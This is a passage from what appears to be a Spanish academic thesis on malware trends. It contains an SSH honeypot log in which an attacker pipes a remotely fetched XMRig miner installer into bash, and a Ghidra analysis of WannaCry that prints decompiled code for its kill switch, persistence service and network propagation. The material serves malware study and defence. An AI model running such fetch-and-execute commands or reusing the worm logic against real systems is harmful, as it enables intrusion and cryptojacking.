Disable your ad blocker to proceed

Figura 9.8: Registro no funcional.

En la pagina de JSECoin también se puede observar un mensaje del aviso de cierre

de JSECoin|107].
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JSE CLOSING DOWN 21ST APRIL 2020

UNDER THE CURRENT ECONOMIC ENVIRONMENT IT HAS NOT BEEN POSSIBLE TO RAISE THE FUNDING REQUIRED TO CONTINUE THE JSE
PROJECT.

Since 2017 the team has developed and built the network and front-end platforms to bridge web and blockchain technologies. In hindsight we left it too
late to raise ICO funds and the project was always bootstrapped. Undeterred we used what little funds we had to the best of our abilities to build out the
JSE platform, app and network. The markets for cryptocurrencies have declined since the end of 2017 and this has had a very negative impact on the
liquidity and token economics. Organic growth and token demand have slowed significantly making our metrics less desirable to investors. With the
Covid-19 pandemic hitting all markets and VC investment our chances of raising are now unrealistic.

The platform will be shut down on the 21st April 2020, at this time a snapshot will be taken of the ledger and published on the website. Remaining
funds after liquidation and server costs will be used to continue the buy back programme on LATOKEN exchange which seems the fairest way to
reimburse stakeholders. Anyone looking to trade tokens on exchange should withdraw funds to the ERC20 token (which will remain in use) before the
date above.

The code-base will remain on Github and the existing ledger json files will be published on this website once they have been finalised.

| hope that in the future someone will continue the work we started and fork the project continuing the existing ledger. Cryptocurrency is the future and
‘the current economic crisis and bail out plans only highlight the need to separate money from state. As a community we need an environmentally friendly
alternative to traditional proof-of-work systems.

| would Llike to thank everyone who contributed to the project. Developers, investors, community members, miners and website publishers. | have been
lucky enough to work with some amazing people over the last three years and wish them the best for whatever the future brings. | apologise to everyone
who invested time, money and resources into the project who believed, like | did, in what we were doing

Figura 9.9: Mensaje de cierre para JSECoin.

9.2.3. Mineros tradicionales

Tal y como se ha visto, todas las familias de mineros basados en el navegador, han
sido mitigados, por lo que la situacién de los mineros post-COVID se centra sobretodo en
mineros tradicionales basados en XMRig o similares.

La gran cantidad de mineros, se ha podido observar durante todo el andlisis realizado
en la realizacién del TFG. Por ejemplo, se manifiesta cominmente en los logs del honeypot
SSH, desplegado en la seccién 3.1.1.

En ellos, se registran numerosos intentos diarios tratando de instalar mineros basados
en XMRig.

Por lo general, los ataques son poco sofisticados y muy ruidosos, pues en numerosas
ocasiones se trata de cerrar todos los procesos (o algunos concretos).

A continuacién, se muestra un extracto de los logs dénde un atacante trata de acceder

al SSH e instalar un minero apuntando a su direccion.

2021-10-20 01:49:01,475 - root - INFO - new client credentials (179.43.175.26):

<+ username: ubnt, password: ubnt

2021-10-20 01:49:01,514 - root - INFO - client sent via

— check_channel_exec_request ({maliciousIP}): b'pkill ip; pkill xmrig; pkill Opera;
pkill x86; pkill docker; pkill java; curl -s -L
http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh |
LC_ALL=en_US.UTF-8 bash -s {maliciousAddress}'

il
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Puesto que XMRig proporciona un script para realizar la instalacién de forma au-
tomadtica, los ataques son muy parecidos. Tal y como se observa, en primer lugar se usa
pkill para cerrar una serie de procesos, posteriormente, mediante curl o wget se descarga

el fichero .sh (bash) de XMRig y se apunta a una direccién de la cartera de Monero.

9.2.4. Conclusion

Durante este andlisis, se ha observado que a pesar de que los métodos y funcionalidades
cambien drasticamente, no se debe al COVID, sino a la deteccion y mitigacion generalizada
por parte de los antivirus con este tipo de malware.

Desde el punto de vista de un analista de malware, se puede considerar que la situacion
ha mejorado considerablemente, pues al volver a los mineros tradicionales, se requiere de
nuevo de vulnerabilidades u otros métodos tradicionales para la infecciéon de los usua-
rios; al contrario de los mineros basados en Javascript dénde el usuario se encontraba

completamente indefenso y podia ser facilmente infectado.



Capitulo 10

Ransomware

Tal y como se ha visto durante el trascurso del TFG, el ransomware es uno de los
problemas més crecientes en los 1ltimos anos.

Sus ataques causan gran dano en el sistema, pues encriptan el sistema haciéndolo
practicamente inservible e infectando a otros sistemas de la red.

En esta seccion, se analizardn dos muestras de malware, como siempre, pre y post

COVID.

10.1. Muestra Pre-COVID: Wannacry

WannaCry es posiblemente uno de los ataques de ransomware més conocidos en el
mundo. Esta familia causé furor en mayo de 2017 haciendo uso de una vulnerabilidad en
versiones de Windows antiguas.

En esta seccidn, se hard un anadlisis a fondo de su funcionamiento, en este caso mediante

Ghidra, una herramienta de andlisis de malware mediante andlisis estdtico.

10.1.1. Triaje

Se comienza con una breve seccién de triaje, lo que permite intuir el comportamiento

del malware, asi como obtener algunas pistas para el posterior andlisis estético.

105
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En primer lugar, se hace uso de PEFrame|108|, de nuevo, otra herramienta open-source
para el andlisis rdpido de PFEs.
Gracias a esta herramienta, obtenemos que existen operaciones con ficheros, asi como

cambios en el registro y funciones criptogréficas.

IswWindowsGUI
IsPacked
HasRichSignature
CRC32 poly Constant
CRC32 table

AR DET W =
RijnDael AES CHAR
RijnDael AES LONG

anti dbg

Xor

win registry

win files operation

CRC32 poly Constant
CRC32 table
RijnDael AES
RijnDael AES CHAR
RijnDael AES LONG

Figura 10.1: Comando PEFrame sobre la muestra.

También se obtienen numerosas funciones interesantes, como funciones relacionadas
con internet, servicios, ficheros, etc.

Esto nos permite conocer funcionalidades del malware sin tan solo abrirlo, y podriamos
preparar herramientas distintas para un andlisis dindmico. Por ejemplo, uso de Wi-

reshark|98| para obtener una traza de red.
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KERNEL32.d11
ADVAPI3Z2.d11
s2 32.d11

MSVCP6O.d11
iphlpapi.dll
ININET.d1l

MSVCRT.d11

FindRe

GetFileSize
GetModuleFileNameA
GetModuleHandleA
GetModuleHandleW
GetProcAddress
GetStartupInfoA
GetTickCount
InternetCloseHandle
InternetOpenA
InternetOpenUrlA
LockR

Figura 10.2: Comando PEFrame sobre la muestra - funciones usadas.

10.1.2. Ghidra del ejecutable inicial

A continuacién, se importa el fichero en Ghidra.
Como en la mayoria de muestras analizadas, no existe una funcién “main”. Sin embargo,
existe la funcién “entry”, que es la entrada por defecto para cualquier fichero PE. Esto

puede observarse en el apartado “Functions” de la ventana “Symbol tree”.

RANSOMWARE
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aea Symbol Tree

h > x|

» f
> f
- ¥
r ¥
> ¥
- ¥
> f
> f
- ¥

-
>
X

- ¥
> ¥
» ¥
- ¥
> ¥

» [Cla Imports
» [5) Exports
v BBl Functions

_ alldiv

_ allrem

_ dllonexit

_controlfp

_ftol

_initterm
_StartAddress_00407720
entry

free

» (= FUN_00401..,
» [C@ FUN_0D406...
» (5% FUN_0D407..,
» (5% FUN_0D408..,
» [CF FUN_D0409, .

GetAdaptersinfo
GetPeradapterinfo
operator_new

» [ ordinal 1.,

Ordinal_23
Ordinal_3
Ordinal_4
Ordinal_8
Ordinal_9

» [ Unwind@00409bb...
» [P Labels
» [ Classes

» [{}Namespaces

Figura 10.3: Funcién “main” inexistente, pero existencia de la funcién “entry”.

El decompilado generado es el por defecto para ejecutables en Windows. La funcién

“main” por tanto, se encuentra al final de este método, concretamente en la linea 65, en

la funcién “FUN_ 00408140()”.

Renombramos entonces la funcién a algo més sencillo de recordar, en este caso “win-

Main()”.
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Rename Function at 00408140 x

Enter Name:

JFun_00408140 ]
Namespace
| Global .v]

Properties

[ | Entry Point Erimary (] Pinned

[ oK ] [ Cancel J

Figura 10.4: Se renombra la funcién.

A partir de este punto, el proceso es siempre el mismo. Se hard uso del conocimiento
personal y de la documentacion de Microsoft para obtener informacién de las funciones y
pardmetros. Gracias a los pardametros y contexto se reconstruyen poco a poco los métodos

del malware.

Reconstruccion de argumentos de la funcién winMain

En este caso, conocemos que se trata de la funcién winMain, por lo que se pueden
obtener los pardmetros de la documentacion de Windows y modificar los pardmetros del

método (tal y como se ve en la figura 10.6).
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WinMain: The Application Entry Point

Article - 09/10/2021 - 2 minutes to read le s c

Every Windows program includes an entry-point function that is named either WinMain or

wWinMain. Here is the signature for wWinMain.
C++ ™ copy

int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PWSTR pCmdLine, int nCmdS

The four parameters are:

* hinstance is something called a "handle to an instance" or "handle to a module." The operating

system uses this value to identify the executable (EXE) when it is loaded in memory. The instance
handle is needed for certain Windows functions—for example, to load icons or bitmaps.

« hPrevinstance has no meaning. It was used in 16-bit Windows, but is now always zero.

* pCmdLine contains the command-line arguments as a Unicode string.

* nCmdShow is a flag that says whether the main application window will be minimized,

maximized, or shown normally.

The function returns an int value. The return value is not used by the operating system, but you can

use the return value to convey a status code to some other program that you write.

Figura 10.5: Uso de MSDN (Microsoft Documentation) para obtener los pardmetros de

las funciones.

Edit Function at 00408140 X

int WINAPI wWinMain(HINSTANCE hinstance, HINSTANCE hPrevinstance,
PWSTR pCmadLineg, int nCmdShow);

Function Attributes:

Function Name: finMain_00408140

\arargs In Line
Calling Convention stdcall v No Return|_| Use Custom Storage
Function Variables
Index Datatype Mame Storage I
undefined4 EAX: 4

Call Fixup:
NOME- v

=TAB= or =<RETURMN= to commit edits, <=<ESC= to abort

| ok || cancel |

Figura 10.6: Se cambian los pardametros en la funcion.
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En muchas ocasiones existen diferentes especificaciones para los tipos, por lo que se de-
berd seleccionar la libreria correcta también. Una vez que se han modificado los pardmetros

el cambio se propaga por todas las vistas.

Data Type Chooser x

Choose the data type you wish to use.
VG ntddk_54

v & ntddk_s4
PWSTR

v ;2] winapi_32
v & winapi_32
PWSTR

v |32 winapi_64
v [ winapi_64

»

PWSTR
v 3] windows_vsl2 32
¥ [ winnt.h
E] PWSTR v
‘Filter: PWSTR &2
=

Figura 10.7: Seleccién del tipo adecuado.

EEEEEEEE SRR EEEEEEEESEEE RS LR EEEEEEEEEEEEE AR LSS EEEEEEEEE S
4 FUNCTION 4
EEEEEEEE SRR EEEEEEEESEEE RS LR EEEEEEEEEEEEE AR LSS EEEEEEEEE S
int _ stdcall wWinMain (HINSTANCE hInstance, HINSTANCE hP...

int EAX: 4 <RETURN=

HINSTANCE Stack [0x4]:4 hInstance

HINSTANCE Stack [0x8]:4 hPrevInstance

PWSTR. Stack[0xc]:4 pCmdLine

int Stack [0x10] : 4 nCmdShow

undefinedl Stack[-0x1]:1 Tlocal 1 XREF[1]: 00408177 (W)

undefined2 Stack[-0x3]:2 local 3 XREF[1]: 0040816c (W)

undefined4d Stack[-0x7]:4 local_7 KREF[1]: 0p4p8168 (W)

undefined4d Stack[-0xb]:4 local b KREF[1]: 00408164 (W)

undefined4d Stack[-0xf]:4 local f KREF[1]: 00408160 (W)

undefineda Stack[-0x13]:4 local_13 KREF[1]: 0040815c (W)

undefined4a Stack[-0x17]1:4 local_17 KREF[1]: 00408158 (W)

undefinedl Stack[-0x50]:1 local_50 KREF[1]: 0040814f (*)
whinMain ¥REF[1]: entry:00409b45 (c)

Figura 10.8: Pardametros en la vista de debugger.

Analisis de winMain

Lo primero interesante que se observa es una URL extrana. Esta URL es copiada a

una variable local y es utilizada posteriormente en funciones relacionadas con internet.
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1 =14;
url = s_http: //www.lugerfsodp9ifjaposdf]_004313d0;
strCpy = (CHAR #)strUrlCpyBuffer;
while (1 !'=10
/¥ *#{undefinedd *) es una optimizacion para coplar 4 bytes cada vez */) {
1=1+-1;
*(undefined4 *)strCpy = *{undefinedd *)url;
url = url + 4;
stripy = stripy + 4;
H
*¥stripy = *url;

Figura 10.9: URL en el main sospechosa con strepy().

Tras identificar tipos y funciones, se obtiene el siguiente cédigo:

38 /% Hace peticion a URL, si el valor de vuelta es un error, el manejador es

39 cerrado y se 1lama a una funcion */

40 | hInternet = InternetOpenaA({LPCSTR)Ox0E,1, (LPCSTR)OxE, (LPCSTRIOx0, 0);

41 | hInternetReturn = InternetOpenUrlA(hInternet, (LPCSTR)strUrlCpyBuffer, (LPCSTR)OxO, 0, 0x84000000,0);
42 | if (hInternetReturn == (HINTERMET)Ox0) {

43 InternetCloseHandle (hInternet);
44 InternetCloseHandle (0);

45 mainReal_00402090();

A6 return 0;

AT }

48 InternetCloseHandle (hInternet);

] InternetCloseHandle (hInternetReturn);

S0 /¥ Clerra el programa */
=1 return 0;

Figura 10.10: Apertura de la URL - funciones identificadas y tipos cambiados.

Tal y como se observa, se hace una peticién a la URL, si el valor de vuelta es un error,
el manejador de internet se cierra y se llama a la funcién que se ha llamado “mainReal()”.
Si no se obtuviera un error, el programa se cierra sin mas.

De hecho, esta funcionalidad es la que permitié al investigador Marcus Hutchins, apo-
dado en las redes como “Malware Tech”, parar la infeccién global. Al registrar este dominio,

las nuevas maquinas no serian infectadas pues no ejecutarian la funcién “mainReal()”.
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W W W Wk kR R AR R R
EWRNFPFODOO-0dE WM

al_ 00408090 - (wannacry)

Joid mainReal_00408090(void)

{
int *piVarl;
SC_HANDLE hSCManager;
SC_HANDLE hscObject;
SERVICE TABLE ENTRYA SStackl6:
undefined4 uStacks:;
undefined4 uStack4;

GetModuleFileNamed ( (HMODULE)0x0, (LPSTR)&LpFilenane 0070f760, 0x104) ;
pivarl = (int *)_p_ argc():
if (#pivarl = 2) {

FUN_0O4G7F20() ;

return;
}
hSCManager = OpenSCManagerA( (LPCSTR)0x0, (LPCSTR)Ox0, 0xfOO3f) ;
if (hSCManager != (SC_HANDLE)Ox0) {

hSCObject = OpenServiceA(hSCManager,s_mssecsvc2, 0 _004312fc, OxfOLTf);

1f (hSCObject != (SC_HANDLE)OxO) {

FUN_00407fad(hSCObject, Bx3c);
CloseServiceHandle (hSCObject);

1

CloseServiceHandle (hSCHanager):
}
SStackls, lpServiceName = s_mssecsvc2, 0_004312fc;
SStackls, lpServiceProc (LPSERVICE_MAIN_FUNCTIONA)&LAE 00402000;
ustacks = 0;
ustackd = ©;
StartServiceCtriDispatchera(&5Stackls);
return;

Figura 10.11: Funcién mainReal solo ejecutada si la URL no se puede alcanzar.

Ejecucion sin argumentos

El comportamiento de este método, también depende de los argumentos obtenidos. Si

el programa se corre sin argumentos (por ejemplo la primera vez que se ejecuta por el

usuario), se llega a la siguiente funcién:

12
13
14
15
16
17
18
19
20
21

GetModuleFileNamed ( (HMODULE) 0x0, (LPSTR)&executablePath_0070f760, 0x104);
argc = {int *)_p__argc():
/* argc es el numero de argumentos
Se ejecuta una funcion si no hay argumentos (ya queargc[O] es el programa en
sl y argc siempre sera mayor que 1)
*/
if (*argec = 2) {
noArguments 00407f20();
return;

)

Figura 10.12: Si no se ejecuta con argumentos.
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0 - (wannacry)

=

undefined4 noArqguments 00407f20(voild)

{

[ ISV N

FUN_00407c40(]);
FUNM_00407ced();
return O

[25]

==

O oo

Figura 10.13: Si no se ejecuta con argumentos se encuentran dos subfunciones.

Se analizan entonces las dos subfunciones.
En la primera, se ve como se genera una cadena con la direccion del ejecutable y con el
pardmetro ““m security”. Después se hace uso de la funcién CreateServiceA () para generar

un servicio llamado “Microsoft Security Center (2.0)”.

nce - (wannacry)

2 |undefined4 createWannaCryPersistence (void)
3

4 l{

S| SC_HANDLE hSCManager;

5] SC_HAMNDLE hService;
7| char newArgs [260];

2] /% newArgs = D:/Usuario/.../wannacry.exe -m security #/
10 | sprintf(newArgs,s_%s_-m_security_ 00431330, &executablePath_po70f760) ;

11 | hSCManager = OpenSCManagerA((LPCSTR)OxO, (LPCSTR)Ox0, OxfOO3T);

12 | if (hSCManager != (SC_HANDLE)OxG) {

13 /¥ SC_HANDLE CreateServiceA(

14 [in] SC_HANDLE hSCManager,

15 [in] LPCSTR 1pServiceName,

16 [in, optional]l LPCSTR 1pDisplayName,

17 [in] DWORD dwDesiredAccess,
18 [in] DWORD dwServiceType,

19 [in] DIWORD dwStartType,

20 [in] DWORD dwErrorControl,

21 [in, optional]l LPCSTR 1pBinaryPathName,
22 [in, optional]l LPCSTR lpLoadOrderGroup,
23 lout, optional]l LPDWORD  lpdwTagId,

24 [in, optional]l LPCSTR 1pDependencies,

25 [in, optional]l LPCSTR 1pServiceStarthame,
26 [in, optionall LPCSTR 1pPassword

27 )i o/

28 hService = CreateServiceA(hSCManager,s_mssecsvc2, 0 _004312fc,

29 s_Microsoft_Security_Center_ (2.0)_S 00431308, GxfO1ff,0x10.2,1,.newlArgs,
30 (LPCSTR)Ox0, (LPOWORD)0x0, (LPCSTR)Ox0, (LPCSTR)OxO, (LPCSTR)OXO);
31 if (hService != (SC_HANDLE)Ox0) {

32 StartServiceA(hService,0, (LPCSTR *)0x0);

33 CloseServiceHandle(hService);

34 }

35 CloseServiceHandle (hSCManager);

36 return O;

37 }

38 return O;

39 |}

40

Figura 10.14: Creacién del servicio malicioso para obtener persistencia en el sistema.
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Ademads, se puede ver como se trata de ejecutar el servicio con permisos de adminis-
trador. Esto se puede obtener comparando los pardmetros con los que se presentan en la
documentacién de Microsoft. Este tipo de pardmetros se construyen mediante la operacion
OR (o suma) de diferentes valores.

Por ejemplo, si quisiéramos tener permisos para crear otros servicios y enumerarlos

serfa realizar la operacién OR de 0x0002 y 0x0004, que resulta 0x0006.

Access Rights for the Service Control Manager

The following are the specific access rights for the SCM.

Access right Description

SC_MANAGER_ALL_ACCESS (0xFOO3F) Includes STANDARD_RIGHTS_REQUIRED, in addition to all access
rights in this table.

SC_MANAGER _CREATE_SERVICE (0x0002) Required to call the CreateService function to create a service
object and add it to the database.

SC_MANAGER_CONNECT (0x0001) Required to connect to the service control manager.
SC_MANAGER_ENUMERATE _SERVICE Required to call the EnumServicesStatus or EnumServicesStatusEx
(0x0004) function to list the services that are in the database.

Required to call the NotifyServiceStatusChange function to
receive notification when any service is created or deleted.

SC_MANAGER_LOCK (0x0008) Required to call the LockServiceDatabase function to acquire a
lock on the database.

SC_MANAGER_MODIFY BOOT CONFIG Required to call the NotifyBootConfigStatus function.

(0x0020)

SC_MANAGER QUERY LOCK STATUS Required to call the QueryServiceLockStatus function to retrieve
(0x0010) the lock status information for the database.

Figura 10.15: Uso de MSDN para comprobar el parametro usado.

La segunda funcién posee méds longitud, por lo que se analiza poco a poco. En primer
lugar, encontramos como se crean algunos punteros a funciones. Esto puede ser para
tratar de hacer méds complejo el proceso de andlisis o para tratar de evitar detecciones de

antivirus.

RANSOMWARE
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También se carga el recurso “0x727”, es decir “1831”. Esto serd de gran interés poste-

riormente. Después se hacen algunos memset, pero estos no son detectados correctamente

por el decompilador de Ghidra.

: writel831ToT: he - (wannacry) |

30 | kernel32Handle = GetModuleHandleW(u kernel32.d11 004313b4);

31| if (kernel32Handle != (HMODULE)OxO) {

32 createProcessh = (CreateProcessA *)GetProcAddress(kernel32Handle, s_CreateProcessA_004313a4);
33 createFiled = (CreateFileA *)GetProcAddress(kernel32Handle,s CreateFileld 00431398);
34 writeFiled = (WriteFile *)GetProcAddress(kernel32Handle,s_WriteFlle_0043138c);

35 closeHandle = (CloseHandle *)GetProcAddress(kernel32Handle,s _CloseHandle_00431380);
36 if ((((createProcessa = (CreateProcessA *)0x0) && (createFiled != (CreateFiled #)0x0)) &&
37 (writeFiled != (WriteFile *)0x0)) && (closeHandle != (CloseHandle *)ox0)) {

38 findl1831Resource = FindResourceA( (HMODULE)Cx0, (LPCSTR)1831, &DAT_0043137c);

39 if (findl831Resource != (HRSRC)Ox0) {

40 1831ResData = LoadResource ((HMODULE)0x0, findl831Resource);

41 1f (1831ResData != (HGLOBAL)OxO) {

42 lockedl831 = LockResource(1831ResData);

43 if (lockedlgsl != (LPVOID)OxO) {

44 51ze0f1831 = SizeofResource ( (HMODULE)Ox0@, find1831Resource);

43 if (size0flg31 != 0) {

45 taskschePath = '"\0';

47 puVars = &local 207;

48 /¥ vold *memset(vold *str, int c, size_t n)

49 memset (puvard, O, Oxd0/64) */

50 for (iVar2 = Oxd0; iVar2 != 0; 1Var2 = iVar2 + -1) {

51 ¥puvars = 0;

52 puVarS = puVarS + 1;

53 i

54 *(undefined2 *JpuVars = 0;

55 ¥(undefined *) ({int)puVars + 2) = 0;

56 weirdPath = '\0';

57 puvars = &local_103;

58 /% void *memsetivoid *str, int c, size_t n)

59 memset (puvar9, 0, Ox40/84) */

G0 for (iVar2 = 0x40; ivar2 != 0; iVar2 = ivVar2 + -1 {

51 ¥pulVars = 0;

52 puVars = puVars + 1;

53 1

54 ¥(undefined2 *)puVars = 0;

65 *(undefined *) ((intlpuvars + 2} = 0;

Figura 10.16: Segunda subfuncién ejecutada al no tener argumentos.

Justo después, se detectan algunas rutas interesantes. No obstante el decompilador
de nuevo no es capaz obtener correctamente el nimero de pardmetros. Lo ajustamos
correctamente y como se aprecia en la figura 10.18, después de renombrar algunas variables

se pueden entender perfectamente los ficheros y directorios que se tratan de crear.
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spriintf (&local 208,s C:\%s\%s_00431358);
sprintf(&local_104,s C:\%s\geriuwjhrf 00431344);

Override Signature X

Signature: void sprintf(char * char * char *char 4

Calling Convention:| __cdecl |']D Inline|_| No Return

Call-Fixup: | -NONE- v

[ Ok ] l Cancel J

Figura 10.17: Correccién de sprintf para obtener nimero de pardmetros adecuado.

sprintf (&local 208, SI_C: WE5W%s 00431358, s WINDOWS 00431364, s tasksche.exe 0043136c):
sprintf(&local_104,s_C:%&s\gqeriuwjhrf_00431344, s WINDONS 00431364);

Figura 10.18: Correccién de sprintf para obtener nimero de pardametros adecuado.

S T /WINDOWS /taskche  exe */
sprintf (&taskschePath,s C:%\%s'\%s_00431358,s WINDOWS 00431364,s tasksche.exe 0043136c);
A C /WINDOWS /qeriuwihrf */
sprintf (&weirdPath,s C.%shgeriuwihrf 00431344, s WINDOWS 00431364);
MoveFileExA(&taskschePath, &weirdPath,1);
fileHandler = (*createFilea) (&taskschePath, 0x40000000, 0, (LPSECURITY ATTRIBUTES)OXO,Z, 4
. (HANDLE) 0x0) ;
if (fileHandler != (HANDLE)Guffffffff) {
(*writeFiled) (fileHandler, locked1831, size0f1831, (LPOWORD) &Lockedl83l,
(LPOVERLAPPED) Ox0) ;
(#*closeHandle) (fileHandler);

Figura 10.19: Crear fichero en carpeta extrana.

También se aprecia como se crea un nuevo proceso llamado “taskche.exe”, este trata
de imitar al proceso “Task Scheduler” (planificador de tareas en espanol), el cual es un

servicio benigno presente en Windows por defecto.

RANSOMWARE
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/*¥ Crea proceso: C:/WINDOWS/tasksche.exe with arqguments #/
processCreated =
(¥*createProcessA) ( (LPCSTR)0x0, acStack524, (LPSECURITY ATTRIBUTES)OxO,

(LPSECURITY ATTRIBUTES)Ox0O, 0, 0x8000000, (LPVOID)OxO,
(LPCSTR)0x0O, (LPSTARTUPINFOA)& StackSo2,
(LPPROCESS INFORMATION)&lockedl1831);

1f (processCreated != 0) {

(*closeHandle) (hObject);

(*closeHandle) (fileHandler);

Figura 10.20: Creacién de subproceso.

Ejecucion con argumentos

Se analiza entonces qué ocurre cuando se ejecuta la muestra de Wannacry con argu-
mentos. Como hemos visto esto ocurre por si solo, pues al iniciar sin argumentos trata de
crear un proceso con permisos de administrador.

Tal y como se ve a partir de linea 22 en la figura 10.21, se crea un servicio llamado
“msecvc2.0”. Después se ejecuta un método encargado de cambiar la configuracion de este

servicio, es decir permisos, etc.

(%)

npile: mainReal_00408080 - (wannacry)

22 | hSCManager = OpenSCManagerA((LPCSTR)Ox0, (LPCSTR)OxO, OxfOO3T);

23 | 1f (hSCManager != (SC_HANDLE)GxO) {

24 servicioMalicioso = OpenServiceA(hSCManager,s_mssecsvc2, 0_004312fc, Oxfolff);

25 if (servicioMalicioso != (SC_HAMDLE)Gx0) {

26 changeServiceConfig(servicioMalicioso, 50);

27 CloseServiceHandle (servicioMalicioso);

28 b

25 CloseServiceHandle (hSCManager);

30 1

31 servicioStruct, lpServiceName = s mssecsvc2, 0 004312fc;

32 | servicioStruct.lpServiceProc = (LPSERVICE_MAIN_ FUNCTIOMA)&LAE 00402000;

33| uStacks = ©;

34| uStackd = 0;

35 /¥ MSDN: Connects the main thread of a service process to the service control
36 manager, which causes the thread to be the service control dispatcher thread
37 for the calling process. */

38 | StartServiceCtrlDispatcherA(&servicioStruct);

3C return;

40 |}

Figura 10.21: Parte final de WinMain.

Este servicio es muy importante también, pues se encarga de la propagacion del malwa-

re.
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Este malware se propaga tanto por LAN (Local Area Network) como por WAN (Wide-
Area Network). Ademds, a diferencia de otros ransomware, no necesita contacto con la

infraestructura de C2, sino que puede actuar por su cuenta y sin conexién a internet.

Decompile: wormBehaviour - (wannacry)
Al
2 |int wormBehaviour(void)
3
4 1{
= HAMNOLE handle;
5| wvoid *_ArglList;
4
g | handle = (HANDLE) beginthreadex({void *)0x@,Q, LANPropagation, (vold #)0x0,0, (ulnt *)ox0);
9| if (handle != (HANDLE)OxO) {
10 CloseHandle (handle);
11 1
12 | _ArgList = (vold *)0x0O;
13| do {
14 handle = (HANDLE) beginthreadex(({void *)0x0,0, ( StartAddress *)&WANPropagation, Arglist,o,
15 {uint *)0x0);
16 if (handle != (HANDLE)OxD) {
17 CloseHandle (handle):
18 1
19 Sleep(2000);
20 _ArgList = (void *)((int)_ArgList + 1);

21|} while ({int)_ArgList < 0x80);
22 return o;
3

Figura 10.22: Propagacion del malware.

En la propagacién por LAN se obtienen las IPs de los distintos adaptadores de red de
la méquina, se obtienen los 3 primero octetos y se generan las posibles /Ps para el tltimo

octeto. La propagacion se hace en hilos diferentes.

RANSOMWARE
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undefined4 LAMPropagation(void)

{

i

HANDLE hobject;

int 1Varl;

undefined4 #*in FS OFFSET;
undefined4 local c;
undefined *puStacks;
undefinedd local_4;

pustacks8 = &LAE 00408bcO;
local_c = *in_FS_OFFSET;
*¥in_FS_OFFSET = &local_c:
local_4 = 1;
genIpsFromAdapters();
iVarl = ;
while ((false && (false))) {
while (10 < (int)lpaddend_oo7ofsec) {
Sleep(100);
1
hobject = (HANDLE) beginthreadex ((void *)0x0,0, { StartAddress *)& StartAddress 004076h0,
*(voild ##)(ivarl * 4),0, (uint *)0x0);
if (hObject != (HANDLE)OxG) {
InterlockedIncrement ((LONG *)&LpAddend D070fE6C);
CloseHandle(hObject);
}
Sleep (0x32);
ivarl = ivarl + 1:
}
_endthreadex (0);
free((void *)ox0);
free((vold *)oxo);
*¥in_FS_OFFSET = local_c;
return o;

Figura 10.23: Propagacion del malware por LAN.

En WAN la generacién de IPs es totalmente aleatoria. Se generan 128 IPs piblicas

con la restriccién de que el primer octeto debe tener valores menores que 224 y no ser

127. Posteriormente se corren hilos para cada una de estas IPs.
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/% Seed the random generator */
srand ((int)currThread + tickCount2 + time + currThreadId);

i |LAB_D04073897:

lastOctet = (*pcVarz) ()

if (2400000 < lastOctet - tickCountl) {
moreThanZM = true;

1

lastOctet = (*pcVarz2) ()

if (1200000 < lastOctet - tickCountl) {
moreThanlM = true;

1

1f ((moreThan2M) && (param_1 < 32)) goto code rOx004078c7;

goto LAB_0D4078e4;

code rOx004078c7:

/¥ Generar valor aleatorio y modulo 255 */
randomGenerator = cryptGenRandomInCritSection();
firstOctet = randomGenerator % 255;
if ((firstOctet != 127) && (firstOctet < 224)) {

LAE_004078e4:
if ((moreThanlM) && (param_1 < 0x20)) {
randomGenerator = cryptGenRandomInCritSection()
secondOctet = randomGenerator % 255;
1
randomGenerator = cryptGenRandonInCritSection()
lastOctetl = cryptGenRandomnInCritSection()

/¥ IP Address #/

sprintfistrGeneratedIP,s %d.%d.%d %d 004312f0,firstOctet, secondOctet, randomGenerator % 255,
lastOctetl % 255);

Figura 10.24: Propagacion del malware por WAN - Generacién de IPs.

do {
/% IP Address #/
sprintf(strGeneratedIP, s %d . %d.%d.%d_004312f0,firstOctet, secondOctet, randomGenerator % 255,
lastOctet);
_ArgList = (void #*)Ordinal_ll(strGeneratedIP);
iVarl = genOctet( ArglList);
if (ivarl = 1) {
LAE 004079a5:
Sleep(50);
1
else {
currThread = (HANDLE) beginthreadex((void *)0x0,0, (_StartAddress *)&8WANInfect, Arglist,o,
(uint *)0x0);
if (currThread !'= (HANDLE)OxO) {
currThreadId = WailtForSingleObject{currThread, 3600000) ;
if (currThreadId == 258) {
TerminateThread (currThread, 0);
]
CloseHandle (currThread);
goto LAE_004079e5;
}
]
lastOctet = lastOctet + 1;
pcVar2 = GetTickCount_exref;
T while (lastOctet < 255);|

Figura 10.25: Propagacién del malware por WAN - Ejecucién.
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10.1.3. Vulnerabilidad utilizada para la propagacion del malware

A continuacién, se hace una pequena introduccion de la vulnerabilidad utilizada para
propagar el malware.

La vulnerabilidad en cuestion es “MS17-010”, més conocida como “EternalBlue”. Esta
vulnerabilidad fue filtrada en un conjunto de herramientas de la NSA (National Security
Agency) por el grupo denominado “Shadow Brokers”. Fue desarrollada por los Estados
Unidos en un programa para obtener vulnerabilidades para su propio uso en vez de re-
portarlas al vendedor. Esto le permitia usarlas en misiones de ciberespionaje y misiones
contraterroristas|109].

Se hace uso de vulnerabilidades en SMBv1, uno de los protocolos de comparticién de
archivos, impresoras y puertos para méaquinas Windows. Para la propagacién, se hace uso
de paquetes crafteados manualmente.

Esta vulnerabilidad no solo ha sido usada por campanas de Wannacry, también exis-
tieron otras familias como la “Petya” que abusaba esta técnica.

Se cree que las pérdidas econémicas causadas por esta vulnerabilidad son de $10 bi-

llones en danos para Petya y $4 billones para WannaCry[110].

10.1.4. Recurso 1831

A continuacién, se hace un andlisis del recurso 1831. Este se encuentra contenido
dentro del propio malware, asi que mediante el comando PEdump podemos extraerlo.
Extracciéon del recurso

PEdump|111] es una aplicacién open source en Ruby para extraer recursos de binarios

PE.
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remnux@remnux:~/Downloads$ pedump -R wannacry

=== RESOURCES ===

FILE OFFSET CP LANG SIZE TYPE NAME
Ox320a4 1252 0x409 3514368 R #1831
0x38chad 1252 0x409 944 VERSION #1
remnux@remnux:~/Downloads$ pedump --extract resource:R/#1831 wannacry > 1831.bin

Figura 10.26: PEdump extracciéon del recurso.

10.1.5. Analisis en Ghidra

Una vez extraido el proceso es el mismo que anteriormente, se importa en Ghidra y
se analiza.
Las funciones de este binario se muestran iguales a las del malware principal. No se

detecta funcién main, sino una funcién entry generada por defecto.

Analisis de cadenas de caracteres

Se analizan también las cadenas de caracteres. En este caso se detectan algunas que
nos podrian indicar el comportamiento del malware. Se detectan llamadas a binarios,
direcciones de Bitcoin y otras relacionadas con el propio malware.

